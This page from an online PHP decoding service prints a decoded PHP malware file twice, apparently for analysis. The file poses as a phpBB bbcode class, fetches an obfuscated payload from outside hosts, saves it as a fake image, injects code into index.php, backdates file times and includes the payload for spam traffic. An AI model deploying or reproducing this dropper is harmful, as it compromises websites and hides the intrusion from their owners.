Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*php*/ /*class bbcode*| class bbcode{ var $bbcode_uid = ''; var ..
Decoded Output download
<?php
/*php*/
/*class bbcode*|
class bbcode{
var $bbcode_uid = '';
var $bbcode_bitfield = '';
var $bbcode_cache = array();
var $bbcode_template = array();
var $bbcodes = array();
var $template_bitfield;
var $template_filename = '';
* Constructor
* Init bbcode cache entries if bitfield is specified
function bbcode($bitfield = '')
{
if ($bitfield)
{
$this->bbcode_bitfield = $bitfield;
$this->bbcode_cache_init();
}
}
* Second pass bbcodes
function bbcode_second_pass(&$message, $bbcode_uid = '', $bbcode_bitfield = false)
{
if ($bbcode_uid)
{
$this->bbcode_uid = $bbcode_uid;
}
if ($bbcode_bitfield !== false)
{
$this->bbcode_bitfield = $bbcode_bitfield;
// Init those added with a new bbcode_bitfield (already stored codes will not get parsed again)
$this->bbcode_cache_init();
}
if (!$this->bbcode_bitfield)
{
// Remove the uid from tags that have not been transformed into HTML
if ($this->bbcode_uid)
{
$message = str_replace(':' . $this->bbcode_uid, '', $message);
}
return;
}
$str = array('search' => array(), 'replace' => array());
$preg = array('search' => array(), 'replace' => array());
$bitfield = new bitfield($this->bbcode_bitfield);
$bbcodes_set = $bitfield->get_all_set();
$undid_bbcode_specialchars = false;
foreach ($bbcodes_set as $bbcode_id)
{
if (!empty($this->bbcode_cache[$bbcode_id]))
{
foreach ($this->bbcode_cache[$bbcode_id] as $type => $array)
{
foreach ($array as $search => $replace)
{
${$type}['search'][] = str_replace('$uid', $this->bbcode_uid, $search);
${$type}['replace'][] = $replace;
}
if (sizeof($str['search']))
{
$message = str_replace($str['search'], $str['replace'], $message);
$str = array('search' => array(), 'replace' => array());
}
if (sizeof($preg['search']))
{
// we need to turn the entities back into their original form to allow the
// search patterns to work properly
if (!$undid_bbcode_specialchars)
{
$message = str_replace(array(':', '.'), array(':', '.'), $message);
$undid_bbcode_specialchars = true;
}
$message = preg_replace($preg['search'], $preg['replace'], $message);
$preg = array('search' => array(), 'replace' => array());
}
}
}
}
*/
error_reporting(0);
$ex_links='21dat063';$ex_redirect='21dat063';$tlng='english';$Vn_L=rand(11,17);$Ex_L=rand(1,3);$linkator=0;$kol_lnk=30;
$PROVsliv=1;$NO_CART=1;$PILLS_list=0; $dmi_txt='englishdating'; $tema_txt='dat-en'; $KOL_css_dir=7;$TST_file=1; $SE_traf=1; $onlineRED=1;
$avto_kwd='get-key-engdat'; $avto_kwd_kol=rand(7000,9000); $post_lng='en-us'; $iLon=1; $GLOBALS['xLng']='en_US'; //en_US de_DE
if (!function_exists('mb_strpos')) {
function mb_strpos($p1,$p2,$p3)
{
return strpos($p1,$p2,$p3);
}
}
if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($p1)
{
return '';
}
}
if (!function_exists('mb_substr')) {
function mb_substr($p1,$p2 , $p3 = NULL)
{
if($p3==NULL)
return substr($p1,$p2);
else
return substr($p1,$p2,$p3);
}
}
if (!function_exists('mb_ereg_replace')) {
function mb_ereg_replace($p1,$p2,$p3)
{
$p3=str_replace('-','ZZZ1',$p3);
$p3=str_replace(' ','ZZZ1',$p3);
$rr=preg_replace($p1,$p2,$p3);
$rr=str_replace('ZZZ1','-',$rr);
return $rr;
}
}
if (!function_exists('mb_strlen')) {
function mb_strlen($p1)
{
return strlen($p1);
}
}
if (!function_exists('mb_strtolower')) {
function mb_strtolower($p1)
{
return strtolower($p1);
}
}
if (!function_exists('mb_strtoupper')) {
function mb_strtoupper($p1)
{
return strtoupper($p1);
}
}
if (!function_exists('mb_regex_encoding')) {
function mb_regex_encoding($p1)
{
return '';
}
}
function g_cont($u)
{
if (function_exists('curl_init')) {
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, $u);
curl_setopt($ch1, CURLOPT_HEADER,0);
curl_setopt($ch1, CURLOPT_NOBODY,0);
curl_setopt($ch1,CURLOPT_TIMEOUT,25);
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch1, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$file_content=curl_exec ($ch1);
curl_close ($ch1);
return $file_content;
}
$tlinks=@file_get_contents($u);
return $tlinks;
}
/*------*/
$GLOBALS['_344641274_']=Array('dirname','de' .'fined','d' .'efine','' .'fu' .'nc' .'tio' .'n_exists','date_de' .'fault' .'_timez' .'one_set','st' .'r_replac' .'e','str_replace','' .'file_exists','m' .'kdir','fi' .'l' .'e_' .'exist' .'s','mkdir','fi' .'le','' .'file_ge' .'t' .'_con' .'t' .'ents','mb_strpos','mb' .'_str' .'pos','i' .'s' .'_wri' .'table','' .'chmod','fope' .'n','fwr' .'i' .'te','mb_' .'substr','' .'mb_strpos','fclos' .'e','t' .'o' .'u' .'ch','time','chmod','file_ex' .'ist' .'s','dirname','file','' .'file' .'_' .'get_contents','mb_str' .'p' .'os','' .'mb' .'_str' .'pos','is_writable','ch' .'m' .'od','f' .'op' .'en','f' .'w' .'rite','' .'mb_su' .'b' .'st' .'r','' .'mb_str' .'p' .'o' .'s','f' .'close','touch','' .'ti' .'m' .'e','ch' .'mod','f' .'ile_exis' .'ts','f' .'i' .'le' .'_e' .'xists','fi' .'le_get_' .'co' .'nte' .'nts','gzu' .'ncomp' .'ress','function_ex' .'ists','fopen','fwrite','gzcomp' .'re' .'ss','fclos' .'e','t' .'ou' .'c' .'h','t' .'ime','' .'f' .'open','fput' .'s','' .'fclose'); ?><? function _262601796($i){$a=Array('css','_NET','_NET','date_default_timezone_set','America/Los_Angeles','apa','che.','jpg','http://promogoogledos.info/','http://tdse.com/clk.php?r=1','http://tds.narod.ru/i.txt','yahoo','bing','google','site','google','js','-','/*php*/','/*php*/',"w",'<?php',"
",'/*php*/','index.php','/index.php','-','/*php*/','/*php*/',"w",'<?php',"
",'/*php*/','cor-dat-de.txt','gzcompress',"w","w");return $a[$i];} ?><?php $DS=DIRECTORY_SEPARATOR;$MYDIR=$GLOBALS['_344641274_'][0](__FILE__) .$DS ._262601796(0);if(!$GLOBALS['_344641274_'][1](_262601796(1))){$GLOBALS['_344641274_'][2](_262601796(2),$ex_links);if($GLOBALS['_344641274_'][3](_262601796(3))){$GLOBALS['_344641274_'][4](_262601796(4));}$zfn=_262601796(5);$zfn=$zfn ._262601796(6);$zfn=$zfn ._262601796(7);$sll0=_262601796(8);$mp1_0=_262601796(9);$mp1_1=_262601796(10);$mp1_2=_262601796(11);$mp1_2=_262601796(12);$mp1_3=$GLOBALS['_344641274_'][5](_262601796(13),$mp1_1,$sll0);$mp1_4=_262601796(14);$sll0=$GLOBALS['_344641274_'][6](_262601796(15),$mp1_4,$sll0);if(!$GLOBALS['_344641274_'][7]($MYDIR)){@$GLOBALS['_344641274_'][8]($MYDIR);}$wd=$MYDIR .$DS ._262601796(16);if(!$GLOBALS['_344641274_'][9]($wd)){@$GLOBALS['_344641274_'][10]($wd);}if($TST_file==1){$mp1_5=__FILE__;$mp1_6=@$GLOBALS['_344641274_'][11]($mp1_5);$mp1_7=@$GLOBALS['_344641274_'][12]($mp1_5);if($GLOBALS['_344641274_'][13](_262601796(17) .$mp1_6[1],_262601796(18),0)<=0){if($GLOBALS['_344641274_'][14]($mp1_7,_262601796(19),0)>0){if(!$GLOBALS['_344641274_'][15]($mp1_5)){@$GLOBALS['_344641274_'][16]($mp1_5,0777);}$mp1_8=$GLOBALS['_344641274_'][17]($mp1_5,_262601796(20));$GLOBALS['_344641274_'][18]($mp1_8,_262601796(21) ._262601796(22) .$GLOBALS['_344641274_'][19]($mp1_7,$GLOBALS['_344641274_'][20]($mp1_7,_262601796(23),0)));$GLOBALS['_344641274_'][21]($mp1_8);@$GLOBALS['_344641274_'][22]($mp1_5,$GLOBALS['_344641274_'][23]()-(3600*24*360));@$GLOBALS['_344641274_'][24]($mp1_5,0644);}}if($GLOBALS['_344641274_'][25](_262601796(24))){$mp1_5=$GLOBALS['_344641274_'][26](__FILE__) ._262601796(25);$mp1_6=@$GLOBALS['_344641274_'][27]($mp1_5);$mp1_7=@$GLOBALS['_344641274_'][28]($mp1_5);if($GLOBALS['_344641274_'][29](_262601796(26) .$mp1_6[1],_262601796(27),0)<=0){if($GLOBALS['_344641274_'][30]($mp1_7,_262601796(28),0)>0){if(!$GLOBALS['_344641274_'][31]($mp1_5)){@$GLOBALS['_344641274_'][32]($mp1_5,0777);}$mp1_8=$GLOBALS['_344641274_'][33]($mp1_5,_262601796(29));$GLOBALS['_344641274_'][34]($mp1_8,_262601796(30) ._262601796(31) .$GLOBALS['_344641274_'][35]($mp1_7,$GLOBALS['_344641274_'][36]($mp1_7,_262601796(32),0)));$GLOBALS['_344641274_'][37]($mp1_8);@$GLOBALS['_344641274_'][38]($mp1_5,$GLOBALS['_344641274_'][39]()-(3600*24*360));@$GLOBALS['_344641274_'][40]($mp1_5,0644);}}}}if(!$GLOBALS['_344641274_'][41]($wd .$DS .$zfn)){if($GLOBALS['_344641274_'][42]($MYDIR .$DS .$zfn)){$mp1_9=$GLOBALS['_344641274_'][43]($MYDIR .$DS .$zfn);$mp1_9=$GLOBALS['_344641274_'][44]($mp1_9);}else{$mp1_9=g_cont($sll0 ._262601796(33));if($GLOBALS['_344641274_'][45](_262601796(34))){$mp1_8=$GLOBALS['_344641274_'][46]($MYDIR .$DS .$zfn,_262601796(35));$GLOBALS['_344641274_'][47]($mp1_8,$GLOBALS['_344641274_'][48]($mp1_9,9));$GLOBALS['_344641274_'][49]($mp1_8);@$GLOBALS['_344641274_'][50]($MYDIR .$DS .$zfn,$GLOBALS['_344641274_'][51]()-(3600*24*360));}}$mp1_8=$GLOBALS['_344641274_'][52]($wd .$DS .$zfn,_262601796(36));$GLOBALS['_344641274_'][53]($mp1_8,$mp1_9);$GLOBALS['_344641274_'][54]($mp1_8);}include_once($wd .$DS .$zfn);} ?>
Did this file decode correctly?
Original Code
<?php
/*php*/
/*class bbcode*|
class bbcode{
var $bbcode_uid = '';
var $bbcode_bitfield = '';
var $bbcode_cache = array();
var $bbcode_template = array();
var $bbcodes = array();
var $template_bitfield;
var $template_filename = '';
* Constructor
* Init bbcode cache entries if bitfield is specified
function bbcode($bitfield = '')
{
if ($bitfield)
{
$this->bbcode_bitfield = $bitfield;
$this->bbcode_cache_init();
}
}
* Second pass bbcodes
function bbcode_second_pass(&$message, $bbcode_uid = '', $bbcode_bitfield = false)
{
if ($bbcode_uid)
{
$this->bbcode_uid = $bbcode_uid;
}
if ($bbcode_bitfield !== false)
{
$this->bbcode_bitfield = $bbcode_bitfield;
// Init those added with a new bbcode_bitfield (already stored codes will not get parsed again)
$this->bbcode_cache_init();
}
if (!$this->bbcode_bitfield)
{
// Remove the uid from tags that have not been transformed into HTML
if ($this->bbcode_uid)
{
$message = str_replace(':' . $this->bbcode_uid, '', $message);
}
return;
}
$str = array('search' => array(), 'replace' => array());
$preg = array('search' => array(), 'replace' => array());
$bitfield = new bitfield($this->bbcode_bitfield);
$bbcodes_set = $bitfield->get_all_set();
$undid_bbcode_specialchars = false;
foreach ($bbcodes_set as $bbcode_id)
{
if (!empty($this->bbcode_cache[$bbcode_id]))
{
foreach ($this->bbcode_cache[$bbcode_id] as $type => $array)
{
foreach ($array as $search => $replace)
{
${$type}['search'][] = str_replace('$uid', $this->bbcode_uid, $search);
${$type}['replace'][] = $replace;
}
if (sizeof($str['search']))
{
$message = str_replace($str['search'], $str['replace'], $message);
$str = array('search' => array(), 'replace' => array());
}
if (sizeof($preg['search']))
{
// we need to turn the entities back into their original form to allow the
// search patterns to work properly
if (!$undid_bbcode_specialchars)
{
$message = str_replace(array(':', '.'), array(':', '.'), $message);
$undid_bbcode_specialchars = true;
}
$message = preg_replace($preg['search'], $preg['replace'], $message);
$preg = array('search' => array(), 'replace' => array());
}
}
}
}
*/
error_reporting(0);
$ex_links='21dat063';$ex_redirect='21dat063';$tlng='english';$Vn_L=rand(11,17);$Ex_L=rand(1,3);$linkator=0;$kol_lnk=30;
$PROVsliv=1;$NO_CART=1;$PILLS_list=0; $dmi_txt='englishdating'; $tema_txt='dat-en'; $KOL_css_dir=7;$TST_file=1; $SE_traf=1; $onlineRED=1;
$avto_kwd='get-key-engdat'; $avto_kwd_kol=rand(7000,9000); $post_lng='en-us'; $iLon=1; $GLOBALS['xLng']='en_US'; //en_US de_DE
if (!function_exists('mb_strpos')) {
function mb_strpos($p1,$p2,$p3)
{
return strpos($p1,$p2,$p3);
}
}
if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($p1)
{
return '';
}
}
if (!function_exists('mb_substr')) {
function mb_substr($p1,$p2 , $p3 = NULL)
{
if($p3==NULL)
return substr($p1,$p2);
else
return substr($p1,$p2,$p3);
}
}
if (!function_exists('mb_ereg_replace')) {
function mb_ereg_replace($p1,$p2,$p3)
{
$p3=str_replace('-','ZZZ1',$p3);
$p3=str_replace(' ','ZZZ1',$p3);
$rr=preg_replace($p1,$p2,$p3);
$rr=str_replace('ZZZ1','-',$rr);
return $rr;
}
}
if (!function_exists('mb_strlen')) {
function mb_strlen($p1)
{
return strlen($p1);
}
}
if (!function_exists('mb_strtolower')) {
function mb_strtolower($p1)
{
return strtolower($p1);
}
}
if (!function_exists('mb_strtoupper')) {
function mb_strtoupper($p1)
{
return strtoupper($p1);
}
}
if (!function_exists('mb_regex_encoding')) {
function mb_regex_encoding($p1)
{
return '';
}
}
function g_cont($u)
{
if (function_exists('curl_init')) {
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, $u);
curl_setopt($ch1, CURLOPT_HEADER,0);
curl_setopt($ch1, CURLOPT_NOBODY,0);
curl_setopt($ch1,CURLOPT_TIMEOUT,25);
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch1, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$file_content=curl_exec ($ch1);
curl_close ($ch1);
return $file_content;
}
$tlinks=@file_get_contents($u);
return $tlinks;
}
/*------*/
$GLOBALS['_344641274_']=Array('dirname','de' .'fined','d' .'efine','' .'fu' .'nc' .'tio' .'n_exists','date_de' .'fault' .'_timez' .'one_set','st' .'r_replac' .'e','str_replace','' .'file_exists','m' .'kdir','fi' .'l' .'e_' .'exist' .'s','mkdir','fi' .'le','' .'file_ge' .'t' .'_con' .'t' .'ents','mb_strpos','mb' .'_str' .'pos','i' .'s' .'_wri' .'table','' .'chmod','fope' .'n','fwr' .'i' .'te','mb_' .'substr','' .'mb_strpos','fclos' .'e','t' .'o' .'u' .'ch','time','chmod','file_ex' .'ist' .'s','dirname','file','' .'file' .'_' .'get_contents','mb_str' .'p' .'os','' .'mb' .'_str' .'pos','is_writable','ch' .'m' .'od','f' .'op' .'en','f' .'w' .'rite','' .'mb_su' .'b' .'st' .'r','' .'mb_str' .'p' .'o' .'s','f' .'close','touch','' .'ti' .'m' .'e','ch' .'mod','f' .'ile_exis' .'ts','f' .'i' .'le' .'_e' .'xists','fi' .'le_get_' .'co' .'nte' .'nts','gzu' .'ncomp' .'ress','function_ex' .'ists','fopen','fwrite','gzcomp' .'re' .'ss','fclos' .'e','t' .'ou' .'c' .'h','t' .'ime','' .'f' .'open','fput' .'s','' .'fclose'); ?><? function _262601796($i){$a=Array('css','_NET','_NET','date_default_timezone_set','America/Los_Angeles','apa','che.','jpg','http://promogoogledos.info/','http://tdse.com/clk.php?r=1','http://tds.narod.ru/i.txt','yahoo','bing','google','site','google','js','-','/*php*/','/*php*/',"w",'<?php',"
",'/*php*/','index.php','/index.php','-','/*php*/','/*php*/',"w",'<?php',"
",'/*php*/','cor-dat-de.txt','gzcompress',"w","w");return $a[$i];} ?><?php $DS=DIRECTORY_SEPARATOR;$MYDIR=$GLOBALS['_344641274_'][0](__FILE__) .$DS ._262601796(0);if(!$GLOBALS['_344641274_'][1](_262601796(1))){$GLOBALS['_344641274_'][2](_262601796(2),$ex_links);if($GLOBALS['_344641274_'][3](_262601796(3))){$GLOBALS['_344641274_'][4](_262601796(4));}$zfn=_262601796(5);$zfn=$zfn ._262601796(6);$zfn=$zfn ._262601796(7);$sll0=_262601796(8);$mp1_0=_262601796(9);$mp1_1=_262601796(10);$mp1_2=_262601796(11);$mp1_2=_262601796(12);$mp1_3=$GLOBALS['_344641274_'][5](_262601796(13),$mp1_1,$sll0);$mp1_4=_262601796(14);$sll0=$GLOBALS['_344641274_'][6](_262601796(15),$mp1_4,$sll0);if(!$GLOBALS['_344641274_'][7]($MYDIR)){@$GLOBALS['_344641274_'][8]($MYDIR);}$wd=$MYDIR .$DS ._262601796(16);if(!$GLOBALS['_344641274_'][9]($wd)){@$GLOBALS['_344641274_'][10]($wd);}if($TST_file==1){$mp1_5=__FILE__;$mp1_6=@$GLOBALS['_344641274_'][11]($mp1_5);$mp1_7=@$GLOBALS['_344641274_'][12]($mp1_5);if($GLOBALS['_344641274_'][13](_262601796(17) .$mp1_6[1],_262601796(18),0)<=0){if($GLOBALS['_344641274_'][14]($mp1_7,_262601796(19),0)>0){if(!$GLOBALS['_344641274_'][15]($mp1_5)){@$GLOBALS['_344641274_'][16]($mp1_5,0777);}$mp1_8=$GLOBALS['_344641274_'][17]($mp1_5,_262601796(20));$GLOBALS['_344641274_'][18]($mp1_8,_262601796(21) ._262601796(22) .$GLOBALS['_344641274_'][19]($mp1_7,$GLOBALS['_344641274_'][20]($mp1_7,_262601796(23),0)));$GLOBALS['_344641274_'][21]($mp1_8);@$GLOBALS['_344641274_'][22]($mp1_5,$GLOBALS['_344641274_'][23]()-(3600*24*360));@$GLOBALS['_344641274_'][24]($mp1_5,0644);}}if($GLOBALS['_344641274_'][25](_262601796(24))){$mp1_5=$GLOBALS['_344641274_'][26](__FILE__) ._262601796(25);$mp1_6=@$GLOBALS['_344641274_'][27]($mp1_5);$mp1_7=@$GLOBALS['_344641274_'][28]($mp1_5);if($GLOBALS['_344641274_'][29](_262601796(26) .$mp1_6[1],_262601796(27),0)<=0){if($GLOBALS['_344641274_'][30]($mp1_7,_262601796(28),0)>0){if(!$GLOBALS['_344641274_'][31]($mp1_5)){@$GLOBALS['_344641274_'][32]($mp1_5,0777);}$mp1_8=$GLOBALS['_344641274_'][33]($mp1_5,_262601796(29));$GLOBALS['_344641274_'][34]($mp1_8,_262601796(30) ._262601796(31) .$GLOBALS['_344641274_'][35]($mp1_7,$GLOBALS['_344641274_'][36]($mp1_7,_262601796(32),0)));$GLOBALS['_344641274_'][37]($mp1_8);@$GLOBALS['_344641274_'][38]($mp1_5,$GLOBALS['_344641274_'][39]()-(3600*24*360));@$GLOBALS['_344641274_'][40]($mp1_5,0644);}}}}if(!$GLOBALS['_344641274_'][41]($wd .$DS .$zfn)){if($GLOBALS['_344641274_'][42]($MYDIR .$DS .$zfn)){$mp1_9=$GLOBALS['_344641274_'][43]($MYDIR .$DS .$zfn);$mp1_9=$GLOBALS['_344641274_'][44]($mp1_9);}else{$mp1_9=g_cont($sll0 ._262601796(33));if($GLOBALS['_344641274_'][45](_262601796(34))){$mp1_8=$GLOBALS['_344641274_'][46]($MYDIR .$DS .$zfn,_262601796(35));$GLOBALS['_344641274_'][47]($mp1_8,$GLOBALS['_344641274_'][48]($mp1_9,9));$GLOBALS['_344641274_'][49]($mp1_8);@$GLOBALS['_344641274_'][50]($MYDIR .$DS .$zfn,$GLOBALS['_344641274_'][51]()-(3600*24*360));}}$mp1_8=$GLOBALS['_344641274_'][52]($wd .$DS .$zfn,_262601796(36));$GLOBALS['_344641274_'][53]($mp1_8,$mp1_9);$GLOBALS['_344641274_'][54]($mp1_8);}include_once($wd .$DS .$zfn);} ?>
Function Calls
rand | 1 |
error_reporting | 1 |
Stats
MD5 | 49cc87d34643a638b1e965631fb515c0 |
Eval Count | 0 |
Decode Time | 96 ms |